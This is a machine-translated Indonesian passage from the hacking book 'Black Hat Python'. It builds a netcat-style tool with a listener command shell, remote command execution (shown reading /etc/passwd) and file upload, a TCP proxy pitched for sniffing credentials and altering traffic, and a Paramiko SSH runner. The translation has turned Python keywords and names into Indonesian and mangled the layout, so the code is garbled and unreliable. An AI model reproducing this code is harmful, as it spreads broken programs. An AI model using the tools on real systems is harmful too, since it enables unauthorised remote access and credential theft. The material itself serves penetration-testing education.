Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

def lari(diri):
jika self.args.dengarkan:
3 mandiri.dengarkan()
kalau tidak:

4 mandiri.kirim()

Kami menginisialisasi objek NetCat dengan argumen dari perintah


baris dan buffer 1 lalu buat objek soket 2.
Metode run , yang merupakan titik masuk untuk mengelola objek NetCat , cukup sederhana:
metode ini mendelegasikan eksekusi ke dua metode. Jika kita menyiapkan pendengar, kita
memanggil metode mendengarkan 3. Jika tidak, kita memanggil metode kirim 4.
Sekarang mari kita tulis metode pengiriman itu :

def kirim(diri):
1 self.socket.connect((self.args.target, self.args.port))
jika mandiri.buffer:
self.socket.send(self.buffer)

2 percobaan:
3 sementara Benar:
penerimaan_len = 1
''
tanggapan =
sementara recv_len:
data = mandiri.socket.recv(4096)
recv_len = len(data)
respon += data.decode()
jika recv_len <4096:
4 istirahat
jika tanggapan:
cetak (respon)
penyangga = masukan('> ')
penyangga += '\n'
5 self.socket.kirim(buffer.encode())
6 kecuali Interupsi Keyboard:
print('Pengguna dihentikan.')
mandiri.socket.close()
sys.keluar()

Kami terhubung ke target dan port 1, dan jika kami memiliki buffer, kami mengirimkannya
ke target terlebih dahulu. Kemudian kita menyiapkan blok coba/tangkap sehingga kita dapat
menutup koneksi secara manual dengan CTRL-C 2. Selanjutnya, kita memulai loop 3 untuk
menerima data dari target. Jika tidak ada data lagi, kita keluar dari loop 4.
Jika tidak, kami mencetak data respons dan berhenti sejenak untuk mendapatkan masukan interaktif,
mengirimkan masukan tersebut 5, dan melanjutkan perulangan.
Perulangan akan berlanjut hingga terjadi KeyboardInterrupt (CTRL-C) 6,
yang akan menutup soket.
Sekarang mari kita tulis metode yang dijalankan ketika program dijalankan sebagai pendengar:

def mendengarkan (diri):


1 self.socket.bind((self.args.target, self.args.port))
mandiri.socket.listen(5)

Jaringan: Dasar-dasar 15
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
2 sementara Benar:
client_socket, _ = self.socket.accept() 3 client_thread
= threading.Thread( target=self.handle,
args=(client_socket,)

) client_thread.mulai()

Metode mendengarkan mengikat target dan port 1 dan mulai mendengarkan


dalam satu lingkaran 2, meneruskan soket yang terhubung ke metode pegangan 3.
Sekarang mari kita terapkan logika untuk melakukan upload file, menjalankan
perintah, dan membuat shell interaktif. Program dapat melakukan tugas-tugas ini ketika
beroperasi sebagai pendengar.

def handle(self, client_socket): 1 jika


self.args.execute: output =
mengeksekusi(self.args.execute)
client_socket.send(output.encode())

2 elif self.args.upload: file_buffer = b''


while True: data =

client_socket.recv(4096) if data: file_buffer += data


else: break

dengan open(self.args.upload, 'wb') sebagai f:


f.write(file_buffer)
pesan = f'File tersimpan {self.args.upload}'
client_socket.send(message.encode())

3 elif self.args.command: cmd_buffer


= b'' while True: coba:

client_socket.send(b'BHP: #> ') while '\n' not in


cmd_buffer.decode():
cmd_buffer += client_socket.recv(64) respon =
mengeksekusi(cmd_buffer.decode()) jika respon:

client_socket.send(response.encode()) cmd_buffer =
b'' kecuali
Pengecualian sebagai e:
print(f'server dimatikan {e }')
mandiri.socket.close()
sys.exit()

Metode pegangan menjalankan tugas yang sesuai dengan perintah


argumen baris yang diterimanya: jalankan perintah, unggah file, atau mulai shell. Jika
suatu perintah harus dijalankan 1, metode pegangan meneruskannya

16 Bab 2
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

perintah ke fungsi eksekusi dan mengirimkan output kembali ke soket. Jika file harus diunggah
2, kami menyiapkan loop untuk mendengarkan konten pada soket pencatatan dan menerima
data hingga tidak ada lagi data yang masuk. Kemudian kami menulis konten yang terakumulasi
ke file yang ditentukan. Terakhir, jika shell ingin dibuat, kita menyiapkan loop, mengirim prompt
ke pengirim, dan menunggu string perintah kembali. Kami kemudian menjalankan perintah
menggunakan eksekusi
berfungsi dan mengembalikan output perintah ke pengirim.
Anda akan melihat bahwa shell memindai karakter baris baru untuk menentukan kapan harus
memproses suatu perintah, yang membuatnya ramah netcat. Artinya, Anda dapat menggunakan
program ini di sisi pendengar dan menggunakan netcat sendiri di sisi pengirim.
Namun, jika Anda membayangkan klien Python untuk berbicara dengannya, ingatlah untuk
menambahkan karakter baris baru. Dalam metode kirim , Anda dapat melihat kami
menambahkan karakter baris baru setelah kami mendapat masukan dari konsol.

Menendang Ban
Sekarang mari kita bermain-main sedikit untuk melihat hasilnya. Di satu terminal atau shell
cmd.exe , jalankan skrip dengan argumen --help :

$ python netcat.py --membantu


penggunaan: netcat.py [-h] [-c] [-e EXECUTE] [-l] [-p PORT] [-t TARGET] [-u UPLOAD]

Alat Bersih BHP

argumen opsional:
-h, --help tampilkan pesan bantuan ini dan keluar
-c, --command menginisialisasi shell perintah
-e EKSEKUSI, --eksekusi EKSEKUSI
jalankan perintah yang ditentukan
-l, --listen -p mendengarkan

PORT, --port PORT port yang ditentukan


-t TARGET, --target TARGET
IP yang ditentukan
-u UPLOAD, --upload UPLOAD
unggah data

Contoh:
netcat.py -t 192.168.1.108 -p 5555 -l -c # perintah shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # unggah ke file
netcat.py -t 192.168.1.108 -p 5555 -l -e="cat /etc/passwd" # jalankan perintah
gema 'ABCDEFGHI' | ./netcat.py -t 192.168.1.108 -p 135
# gema teks lokal ke port server 135
netcat.py -t 192.168.1.108 -p 5555 # sambungkan ke server

Sekarang, di mesin Kali Anda, siapkan pendengar menggunakan IP dan portnya sendiri
5555 untuk menyediakan shell perintah:

$ python netcat.py -t 192.168.1.203 -p 5555 -l -c

Sekarang jalankan terminal lain di mesin lokal Anda dan jalankan skrip
dalam mode klien. Ingatlah bahwa skrip membaca dari stdin dan akan melakukannya

Jaringan: Dasar-dasar 17
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

hingga menerima penanda akhir file (EOF). Untuk mengirim EOF, tekan CTRL-D pada keyboard
Anda:

% python netcat.py -t 192.168.1.203 -p 5555


CTRL-D
<BHP:#> ls -la
jumlah 23497
drwxr-xr-x 1 502 panggilan drwxr- 608 16 Mei 17:12 .
xr-x 1 502 panggilan -rw-r--r-- 1 512 29 Maret 11:23 ..
502 panggilan -rw-r--r-- 1 502 8795 6 Mei 10:10 tes saya.png
panggilan -rw-r--r-- 1 Panggilan 14610 11 Mei 09:06 mytest.sh
502 -rw-r--r-- Panggilan 1502 8795 6 Mei 10:10 mytest.txt
4408 11 Mei 08:55 netcat.py
<BHP: #> uname -a
Linux kali 5.3.0-kali3-amd64 #1 SMP Debian 5.3.15-1kali1 (2019-12-09) x86_64 GNU/Linux

Anda dapat melihat bahwa kami menerima shell perintah khusus kami. Karena kita berada di
host Unix, kita dapat menjalankan perintah lokal dan menerima output sebagai imbalannya, seolah-
olah kita telah login melalui SSH atau berada di kotak secara lokal. Kita dapat melakukan pengaturan
yang sama pada mesin Kali tetapi menjalankan satu perintah menggunakan tombol -e :

$ python netcat.py -t 192.168.1.203 -p 5555 -l -e="kucing /etc/passwd"

Sekarang, ketika kita terhubung ke Kali dari mesin lokal, kita mendapat imbalan
dengan output dari perintah:

% python netcat.py -t 192.168.1.203 -p 5555

akar:x:0:0:root:/root:/bin/bash
daemon : x : 1 : 1 : daemon : / usr / sbin : / usr / sbin / nologin
bin : x : 2 : 2 : bin : / bin : / usr / sbin / nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sinkronisasi:x:4:65534:sinkronisasi:/bin:/bin/sinkronisasi
permainan:x:5:60:permainan:/usr/permainan:/usr/sbin/nologin

Kita juga bisa menggunakan netcat di mesin lokal:

% nc 192.168.1.203 5555
akar:x:0:0:root:/root:/bin/bash
daemon : x : 1 : 1 : daemon : / usr / sbin : / usr / sbin / nologin
bin : x : 2 : 2 : bin : / bin : / usr / sbin / nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sinkronisasi:x:4:65534:sinkronisasi:/bin:/bin/sinkronisasi
permainan:x:5:60:permainan:/usr/permainan:/usr/sbin/nologin

Terakhir, kita dapat menggunakan klien untuk mengirimkan permintaan dengan cara yang
baik dan kuno:

$ echo -ne "GET / HTTP/1.1\r\nHost: Reachtim.com\r\n\r\n" |python ./netcat.py -t Reachtim.com -p 80

HTTP/1.1 301 Dipindahkan Secara Permanen

18 Bab 2
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Server: nginx
Tanggal: Sen, 18 Mei 2020 12:46:30 GMT
Tipe Konten: teks/html; rangkaian karakter=iso-8859-1
Panjang Konten: 229
Koneksi: tetap hidup
Lokasi: https://reachtim.com/

<!DOCTYPE HTML PUBLIK "-//IETF//DTD HTML 2.0//EN">


<html><kepala>
<title>301 Dipindahkan Secara Permanen</title>
</kepala><tubuh>
<h1>Dipindahkan Secara Permanen</h1>
<p>Dokumen telah dipindahkan <a href="https://reachtim.com/">di sini</a>.</p>
</tubuh></html>

Ini dia! Meskipun bukan teknik super teknis, ini merupakan dasar yang baik untuk
meretas beberapa soket klien dan server dengan Python dan menggunakannya untuk
kejahatan. Tentu saja, program ini hanya mencakup hal-hal mendasar; gunakan
imajinasi Anda untuk memperluas atau memperbaikinya. Selanjutnya, mari kita buat
proxy TCP, yang berguna dalam sejumlah skenario ofensif.

Membangun Proksi TCP


Ada sejumlah alasan untuk memiliki proxy TCP di tool belt Anda. Anda mungkin
menggunakannya untuk meneruskan lalu lintas agar berpindah dari host ke host, atau
saat menilai perangkat lunak berbasis jaringan. Saat melakukan uji penetrasi di
lingkungan perusahaan, Anda mungkin tidak akan dapat menjalankan Wireshark; Anda
juga tidak akan dapat memuat driver untuk mengendus loopback pada Windows, dan
segmentasi jaringan akan mencegah Anda menjalankan alat secara langsung terhadap
host target Anda. Kami telah membuat proxy Python sederhana, seperti ini, dalam
beberapa kasus untuk membantu Anda memahami protokol yang tidak diketahui,
mengubah lalu lintas yang dikirim ke aplikasi, dan membuat kasus uji untuk fuzzer.
Proksi memiliki beberapa bagian yang bergerak. Mari kita rangkum empat fungsi utama yang perlu
kita tulis. Kita perlu menampilkan komunikasi antara mesin lokal dan jarak jauh ke konsol (hexdump).
Kita perlu menerima data dari soket masuk baik dari mesin lokal atau jarak jauh (receive_

dari). Kita perlu mengatur arah lalu lintas antara mesin jarak jauh dan lokal (proxy_handler). Terakhir,
kita perlu menyiapkan soket pendengaran dan meneruskannya ke proxy_handler ( server_loop).

Mari kita mulai. Buka file baru bernama proxy.py:

sistem impor
soket impor
impor threading

1 HEX_FILTER = ''.gabung(
[(len(repr(chr(i))) == 3) dan chr(i) atau '.' untuk saya dalam jangkauan (256)])

def hexdump(src, panjang=16, tampilkan=Benar):


2 jika isinstance(src, byte):

Jaringan: Dasar-dasar 19
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

src = src.dekode()

hasil = daftar()
untuk i dalam rentang(0, len(src), panjang):
3 kata = str(src[i:i+panjang])

4 dapat dicetak = kata.translate(HEX_FILTER)


hexa = ' '.join([f'{ord(c):02X}' untuk c di kata])
lebar heksa = panjang*3
5 hasil.tambahkan(f'{i:04x} {hexa:<{hexwidth}} {dapat dicetak}')
jika menunjukkan:

untuk hasil baris:


cetak (garis)
kalau tidak:

mengembalikan hasil

Kami mulai dengan beberapa impor. Kemudian kita mendefinisikan fungsi hexdump
yang mengambil beberapa input sebagai byte atau string dan mencetak hexdump ke konsol.
Artinya, ia akan menampilkan detail paket dengan nilai heksadesimal dan karakter ASCII
yang dapat dicetak. Ini berguna untuk memahami protokol yang tidak diketahui, menemukan
kredensial pengguna dalam protokol teks biasa, dan banyak lagi.
Kami membuat string HEXFILTER 1 yang berisi karakter ASCII yang dapat dicetak, jika ada,
atau titik (.) jika representasi tersebut tidak ada. Sebagai contoh isi string ini, mari kita lihat
representasi karakter dari dua bilangan bulat, 30 dan 65, dalam shell Python interaktif:

>>> bab(65)
'A'
>>> bagan(30)
'\x1e'
>>> len(repr(chr(65)))
3
>>> len(repr(chr(30)))
6

Representasi karakter 65 dapat dicetak dan representasi karakter 30 tidak.


Seperti yang Anda lihat, representasi karakter yang dapat dicetak memiliki panjang
3. Kami menggunakan fakta tersebut untuk membuat HEXFILTER akhir
string: berikan karakter jika memungkinkan dan titik (.) jika tidak.
Pemahaman daftar yang digunakan untuk membuat string menggunakan teknik
hubung singkat Boolean, yang kedengarannya cukup mewah. Mari kita uraikan: untuk
setiap bilangan bulat dalam kisaran 0 hingga 255, jika panjang karakter terkait sama
dengan 3, kita mendapatkan karakter (chr(i)). Jika tidak, kita mendapatkan titik (.). Kemudian
kita gabungkan daftar itu menjadi sebuah string sehingga terlihat seperti ini:

'................................ !"#$%&\'()*+,-./0123456789 :;<=>?@ABCDEFGHIJK


LMNOPQRSTUVWXYZ[.]^_`abcdefghijklmnopqrstuvwxyz{|}~...........................
.......¡¢£¤¥¦§¨©ª«¬.®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáââää åæç
````

Pemahaman daftar memberikan representasi karakter yang dapat dicetak


256 bilangan bulat pertama. Sekarang kita bisa membuat fungsi hexdump . Pertama kita

20 Bab 2
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

pastikan kita memiliki string, decoding byte jika string byte dilewatkan dalam 2.
Kemudian kita ambil sepotong string untuk dibuang dan memasukkannya ke dalam Word
variabel 3. Kami menggunakan fungsi bawaan terjemahan untuk mengganti
representasi string setiap karakter dengan karakter terkait dalam string mentah (dapat
dicetak) 4. Demikian pula, kami mengganti representasi hex dari nilai integer setiap
karakter dalam string mentah (heksa). Terakhir, kita membuat array baru untuk
menampung string, hasil, yang berisi nilai hex dari indeks byte pertama dalam kata,
nilai hex dari kata tersebut, dan representasi yang dapat dicetak 5. Outputnya terlihat
seperti ini :

>> hexdump('batu python\n dan proksi bergulir\n')


0000 70 79 74 68 6F 6E 20 72 6F 63 6B 73 0A 20 61 6E batu ular piton. sebuah
0010 64 20 70 72 6F 78 69 65 73 20 72 6F 6C 6C 0A d proxy bergulir.

Fungsi ini memberi kita cara untuk mengawasi komunikasi yang terjadi
melalui proxy secara real time. Sekarang mari kita buat fungsi yang kedua ujung
proxy akan gunakan untuk menerima data:

def terima_dari(koneksi):
penyangga = b""
1 koneksi.settimeout(5)
mencoba:

sementara Benar:

2 data = koneksi.recv(4096)
jika bukan data:
merusak
penyangga += data
kecuali Pengecualian sebagai e:
lulus
penyangga kembali

Untuk menerima data lokal dan jarak jauh, kami meneruskan objek soket yang
akan digunakan. Kami membuat string byte kosong, buffer, yang akan mengumpulkan
respons dari soket 1. Secara default, kami menetapkan batas waktu lima detik, yang
mungkin agresif jika Anda mem-proxy lalu lintas ke negara lain atau melalui jaringan
yang lossy, jadi tingkatkan batas waktu seperlunya. Kami menyiapkan loop untuk
membaca data respons ke dalam buffer 2 hingga tidak ada lagi data atau waktu habis.
Terakhir, kami mengembalikan string byte buffer ke pemanggil, yang dapat berupa mesin lokal atau
jarak jauh.
Terkadang Anda mungkin ingin mengubah paket respons atau permintaan
sebelum proxy mengirimkannya. Mari tambahkan beberapa fungsi (request_handler
dan respon_handler) untuk melakukan hal itu:

def permintaan_handler(penyangga):
# melakukan modifikasi paket
penyangga kembali

def respon_handler(penyangga):
# melakukan modifikasi paket
penyangga kembali

Jaringan: Dasar-dasar 21
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Di dalam fungsi-fungsi ini, Anda dapat memodifikasi isi paket, melakukan tugas fuzzing,
menguji masalah otentikasi, atau melakukan apa pun yang diinginkan hati Anda. Hal ini dapat
berguna, misalnya, jika Anda menemukan kredensial pengguna teks biasa sedang dikirim dan
ingin mencoba meningkatkan hak istimewa pada aplikasi dengan memasukkan admin , bukan
nama pengguna Anda sendiri.
Mari selami fungsi proxy_handler sekarang dengan menambahkan kode berikut:

def proxy_handler(client_socket, remote_host, remote_port, terima_pertama):


remote_socket = soket.socket(socket.AF_INET, soket.SOCK_STREAM)
1 remote_socket.connect((remote_host, remote_port))

2 jika menerima_pertama:
remote_buffer = terima_dari(remote_socket)
hexdump(jarak_buffer)

3 remote_buffer = respon_handler(remote_buffer)
jika len(remote_buffer):
print("[<==] Mengirim %d byte ke localhost." % len(remote_buffer))
client_socket.kirim(remote_buffer)

sementara Benar:

local_buffer = terima_dari(client_socket)
jika len(local_buffer):
line = "[==>]Menerima %d byte dari localhost." % len(lokal_
penyangga)
cetak (garis)
hexdump(buffer_lokal)

local_buffer = permintaan_handler(local_buffer)
remote_socket.kirim(local_buffer)
print("[==>] Dikirim ke jarak jauh.")

remote_buffer = terima_dari(remote_socket)
jika len(remote_buffer):
print("[<==] Menerima %d byte dari jarak jauh." % len(remote_buffer))
hexdump(jarak_buffer)

remote_buffer = respon_handler(remote_buffer)
client_socket.kirim(remote_buffer)
print("[<==] Dikirim ke localhost.")

4 jika bukan len(local_buffer) atau bukan len(remote_buffer):


klien_socket.close()
remote_socket.close()
print("[*] Tidak ada data lagi. Menutup koneksi.")
merusak

Fungsi ini berisi sebagian besar logika untuk proksi kita. Untuk memulai,
kita terhubung ke host jarak jauh 1. Kemudian kita periksa untuk memastikan kita tidak perlu
memulai koneksi ke sisi jarak jauh terlebih dahulu dan meminta data sebelum masuk ke loop
utama 2. Beberapa daemon server akan mengharapkan Anda melakukan ini (FTP server biasanya
mengirim banner terlebih dahulu, misalnya). Kami kemudian

22 Bab 2
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

gunakan fungsi terima_dari untuk kedua sisi komunikasi. Ia menerima objek soket
yang terhubung dan melakukan penerimaan. Kami membuang isi paket sehingga
kami dapat memeriksanya untuk mencari sesuatu yang menarik. Selanjutnya,
kita menyerahkan output ke fungsi respon_handler 3 dan kemudian mengirimkan
buffer yang diterima ke klien lokal. Kode proxy lainnya sangatlah mudah: kita
menyiapkan loop untuk terus membaca dari klien lokal, memproses data,
mengirimkannya ke klien jarak jauh, membaca dari klien jarak jauh, memproses
data, dan mengirimkannya ke klien lokal sampai kami tidak lagi mendeteksi
data apa pun. Ketika tidak ada data untuk dikirim pada kedua sisi koneksi 4,
kami menutup soket lokal dan jarak jauh dan keluar dari loop.
Mari kita kumpulkan fungsi server_loop untuk menyiapkan dan mengelola
koneksi:

def server_loop(host_lokal,port_lokal,
remote_host, remote_port, terima_pertama):
1 server = soket.socket(socket.AF_INET, soket.SOCK_STREAM)
mencoba:

2 server.bind((local_host, local_port))
kecuali Pengecualian sebagai e:
print('masalah pada pengikatan: %r' % e)

print("[!!] Gagal mendengarkan di %s:%d" % (local_host, local_port))


print("[!!] Periksa soket pendengaran lainnya atau izin yang benar.")

sys.keluar(0)

print("[*] Mendengarkan di %s:%d" % (local_host, local_port))


server.mendengarkan(5)
3 sementara Benar:
client_socket, addr = server.accept()
# cetak informasi koneksi lokal
line = "> Menerima koneksi masuk dari %s:%d" % (addr[0], addr[1])

cetak (garis)
# memulai thread untuk berbicara dengan host jarak jauh
4 proxy_thread = threading.Thread(
target=proxy_handler,
args=(client_socket, remote_host,
remote_port, terima_pertama))
proxy_thread.mulai()

Fungsi server_loop membuat soket 1 dan kemudian mengikat ke host lokal


dan mendengarkan 2. Di loop utama 3, ketika permintaan koneksi baru masuk,
kami menyerahkannya ke proxy_handler di thread 4 baru, yang melakukan
semua hal mengirim dan menerima bit menarik ke kedua sisi aliran data.
Satu-satunya bagian yang tersisa untuk ditulis adalah fungsi utama :

def utama():
jika len(sys.argv[1:]) != 5:
print("Penggunaan: ./proxy.py [localhost] [localport]", end='')
print("[host jarak jauh] [porting jarak jauh] [terima_pertama]")
print("Contoh: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 Benar")

Jaringan: Dasar-dasar 23
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

sys.keluar(0)
local_host = sys.argv[1]
local_port = int(sys.argv[2])

remote_host = sys.argv[3]
remote_port = int(sys.argv[4])

terima_pertama = sys.argv[5]

jika "Benar" di terima_pertama:


terima_pertama = Benar
kalau tidak:

terima_pertama = Salah

server_loop(host_lokal,port_lokal,
remote_host, remote_port, terima_pertama)

jika __nama__ == '__utama__':


utama()

Dalam fungsi utama , kita mengambil beberapa argumen baris perintah dan kemudian
menjalankan loop server yang mendengarkan koneksi.

Menendang Ban
Sekarang kita sudah memiliki loop proksi inti dan fungsi pendukungnya, mari kita uji pada server
FTP. Jalankan proxy dengan opsi berikut:

tim@kali: sudo python proxy.py 192.168.1.203 21 ftp.sun.ac.za 21 Benar

Kami menggunakan sudo di sini karena port 21 adalah port yang memiliki hak istimewa, jadi
mendengarkannya memerlukan hak administratif atau root. Sekarang luncurkan klien FTP apa pun
dan atur untuk menggunakan localhost dan port 21 sebagai host dan port jarak jauhnya. Tentu
saja, Anda ingin mengarahkan proxy Anda ke server FTP yang benar-benar akan merespons Anda.
Saat kami menjalankan ini pada server FTP pengujian, kami mendapatkan hasil berikut:

[*] Mendengarkan pada 192.168.1.203:21


> Menerima koneksi masuk dari 192.168.1.203:47360
[<==] Menerima 30 byte dari jarak jauh.
0000 32 32 30 20 57 65 6C 63 6F 6D 65 20 74 6F 20 66 220 Selamat datang di f
0010 74 70 2E 73 75 6E 2E 61 63 2E 7A 61 0D 0A 0000 55 tp.sun.ac.za..
53 45 52 20 61 6E 6F 6E 79 6D 6F 75 73 0D 0A PENGGUNA anonim..
0000 33 33 31 20 50 6C 65 61 73 65 20 73 70 65 63 69 331 Silakan tentukan
0010 66 79 20 74 68 65 20 70 61 73 73 77 6F 72 64 2E masukkan kata sandinya.
0020 0D 0A ..
0000 50 41 53 53 20 73 65 6B 72 65 74 0D 0A 0000 32 33 rahasia LULUS..
30 20 4C 6F 67 69 6E 20 73 75 63 63 65 73 230 Login berhasil
0010 73 66 75 6C 2E 0D 0A [==>] penuh...
Dikirim ke lokal.
[<==] Menerima 6 byte dari lokal.
0000 53 59 53 54 0D 0A 0000 SISTEM..

32 31 35 20 55 4E 49 58 20 54 79 70 65 3A 20 4C 215 UNIX Tipe: L


0010 38 0D 0A 8..

24 Bab 2
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

[<==] Menerima 28 byte dari lokal.


0000 50 4F 52 54 20 31 39 32 2C 31 36 38 2C 31 2C 32 PELABUHAN 192,168,1,2
0010 30 33 2C 31 38 37 2C 32 32 33 0D 0A 0000 32 30 03.187.223..
30 20 50 4F 52 54 20 63 6F 6D 6D 61 6E 64 200 Perintah PORT
0010 20 73 75 63 63 65 73 73 66 75 6C 2E 20 43 6F 6E berhasil. Menipu
0020 73 69 64 65 72 20 75 73 69 6E 67 20 50 41 53 56 sider menggunakan PASV
0030 2E 0D 0A ...
[<==] Menerima 6 byte dari lokal.
0000 4C 49 53 54 0D 0A [<==] DAFTAR..

Menerima 63 byte dari jarak jauh.


0000 31 35 30 20 48 65 72 65 20 63 6F 6D 65 73 20 74 150 Ini dia
0010 68 65 20 64 69 72 65 63 74 6F 72 79 20 6C 69 73 daftar direktori
0020 74 69 6E 67 2E 0D 0A 32 32 36 20 44 69 72 65 63 ting...226 Langsung
0030 74 6F 72 79 20 73 65 6E 64 20 4F 4B 2E 0D 0A 0000 50 4F 52 maaf kirim oke...
54 20 31 39 32 2C 31 36 38 2C 31 2C 32 PELABUHAN 192,168,1,2
0010 30 33 2C 32 31 38 2C 31 31 0D 0A 0000 32 03.218.11..
30 30 20 50 4F 52 54 20 63 6F 6D 6D 61 6E 64 200 perintah PORT
0010 20 73 75 63 63 65 73 73 66 75 6C 2E 20 43 6F 6E 0020 73 69 64 berhasil. Menipu
65 72 20 75 73 69 6E 67 20 50 41 53 56 sider menggunakan PASV
0030 2E 0D 0A ...
0000 51 55 49 54 0D 0A [==>] BERHENTI..

Dikirim ke jarak jauh.


0000 32 32 31 20 47 6F 6F 64 62 79 65 2E 0D 0A [==>] Dikirim 221 Selamat tinggal...
ke lokal.
[*] Tidak ada data lagi. Menutup koneksi.

Di terminal lain pada mesin Kali, kami memulai sesi FTP ke


alamat IP mesin Kali menggunakan port default, 21:

tim@kali:$ ftp 192.168.1.203


Terhubung ke 192.168.1.203.
220 Selamat datang di ftp.sun.ac.za
Nama (192.168.1.203:tim): anonim
331 Silakan tentukan kata sandinya.
Kata sandi:
230 Login berhasil.
Jenis sistem jarak jauh adalah UNIX.
Menggunakan mode biner untuk mentransfer file.
ftp> ls
200 Perintah PORT berhasil. Pertimbangkan untuk menggunakan PASV.
150 Ini dia daftar direktorinya.
lrwxrwxrwx 1 1001 1001 48 17 Juli 2008 CPAN -> pub/mirror/
ftp.funet.fi/pub/bahasa/perl/CPAN
lrwxrwxrwx 1 1001 1001 21 Okt 21 2009 CRAN -> pub/mirror/
ubuntu.com
drwxr-xr-x 2 1001 1001 4096 03 April 2019 baiklah
drwxr-xr-x 6 1001 226 1001 4096 27 Juni 2016 win32InetKeyTeraTerm
Direktori dikirim OK.
ftp> sampai jumpa

221 Selamat tinggal.

Anda dapat dengan jelas melihat bahwa kami berhasil menerima larangan FTP.
ner dan kirimkan nama pengguna dan kata sandi, dan keluar dengan bersih.

Jaringan: Dasar-dasar 25
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

SSH dengan Paramiko

Berputar dengan BHNET, pengganti netcat yang kami buat, cukup berguna, namun terkadang lebih
bijaksana untuk mengenkripsi lalu lintas Anda untuk menghindari deteksi. Cara umum untuk
melakukannya adalah dengan melakukan terowongan lalu lintas menggunakan Secure Shell
(SSH). Namun bagaimana jika target Anda tidak memiliki klien SSH, seperti 99,81943 persen
sistem Windows?
Meskipun ada klien SSH hebat yang tersedia untuk Windows, seperti PuTTY, ini adalah buku
tentang Python. Dengan Python, Anda dapat menggunakan soket mentah dan beberapa keajaiban
kripto untuk membuat klien atau server SSH Anda sendiri—tetapi mengapa harus membuatnya jika
Anda dapat menggunakan kembali? Paramiko, yang menggunakan PyCrypto, memberi Anda akses
mudah ke protokol SSH2.
Untuk mempelajari cara kerja perpustakaan ini, kita akan menggunakan Paramiko untuk
membuat koneksi dan menjalankan perintah pada sistem SSH, mengkonfigurasi server SSH dan
klien SSH untuk menjalankan perintah jarak jauh pada mesin Windows, dan terakhir memecahkan
demo terowongan terbalik file yang disertakan dengan Paramiko untuk menduplikasi opsi proxy
BHNET. Mari kita mulai.
Pertama, ambil Paramiko menggunakan penginstal pip (atau unduh dari http:// www
.paramiko.org/):

pip instal paramiko

Kami akan menggunakan beberapa file demo nanti, jadi pastikan Anda mengunduhnya juga
dari repo GitHub Paramiko (https:// github.com/ paramiko/
paramik).
Buat file baru bernama ssh_cmd.py dan masukkan yang berikut ini:

impor paramiko

1 def ssh_command(ip, port, pengguna, sandi, cmd):


klien = paramiko.SSHClient()
2 klien.set_missing_host_key_policy(paramiko.AutoAddPolicy())
klien.koneksi(ip, port=port, nama pengguna=pengguna, kata sandi=passwd)

3 _, stdout, stderr = klien.exec_command(cmd)


keluaran = stdout.readlines() + stderr.readlines()
jika keluaran:
mencetak('--- Keluaran ---')
untuk saluran dalam keluaran:
cetak(garis.strip())

jika __nama__ == '__utama__':


4 impor getpass
# pengguna = getpass.getuser()
pengguna = masukan('Nama Pengguna: ')
kata sandi = getpass.getpass()

ip = input('Masukkan IP server: ') atau '192.168.1.203'


port = input('Masukkan port atau <CR>: ') atau 2222
cmd = input('Masukkan perintah atau <CR>: ') atau 'id'
5 ssh_command(ip, port, pengguna, kata sandi, cmd)

26 Bab 2
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Kami membuat fungsi bernama ssh_command 1, yang membuat koneksi ke server SSH
dan menjalankan satu perintah. Perhatikan bahwa Paramiko mendukung otentikasi dengan kunci,
bukan (atau sebagai tambahan) otentikasi kata sandi. Anda harus menggunakan otentikasi kunci
SSH dalam interaksi nyata, tetapi untuk kemudahan penggunaan dalam contoh ini, kami akan
tetap menggunakan otentikasi nama pengguna dan kata sandi tradisional.

Karena kami mengendalikan kedua ujung koneksi ini, kami menetapkan kebijakan untuk
menerima kunci SSH untuk server SSH yang kami sambungkan ke 2 dan membuat koneksi. Dengan
asumsi koneksi telah dibuat, kami menjalankan perintah 3
yang kami teruskan dalam panggilan ke fungsi ssh_command . Kemudian, jika perintah menghasilkan
keluaran, kami mencetak setiap baris keluaran.
Di blok utama, kami menggunakan modul baru, getpass 4. Anda dapat menggunakannya
untuk mendapatkan nama pengguna dari lingkungan saat ini, tetapi karena nama pengguna kami
berbeda di kedua mesin, kami secara eksplisit meminta nama pengguna di baris perintah. Kami
kemudian menggunakan fungsi getpass untuk meminta kata sandi (responnya tidak akan
ditampilkan di konsol untuk membuat frustrasi peselancar bahu mana pun). Kemudian kita
mendapatkan IP, port, dan perintah (cmd) untuk dijalankan dan mengirimkannya untuk dieksekusi5.

Mari kita jalankan tes cepat dengan menghubungkan ke server Linux kami:

% python ssh_cmd.py
Nama pengguna: tim
Kata sandi:
Masukkan IP server: 192.168.1.203
Masukkan port atau <CR>: 22
Masukkan perintah atau <CR>: id
--- Keluaran ---
uid=1000(tim) gid=1000(tim) grup=1000(tim),27(sudo)

Anda akan melihat bahwa kami terhubung dan kemudian menjalankan perintah. Anda dapat
dengan mudah memodifikasi skrip ini untuk menjalankan beberapa perintah di server SSH, atau
menjalankan perintah di beberapa server SSH.
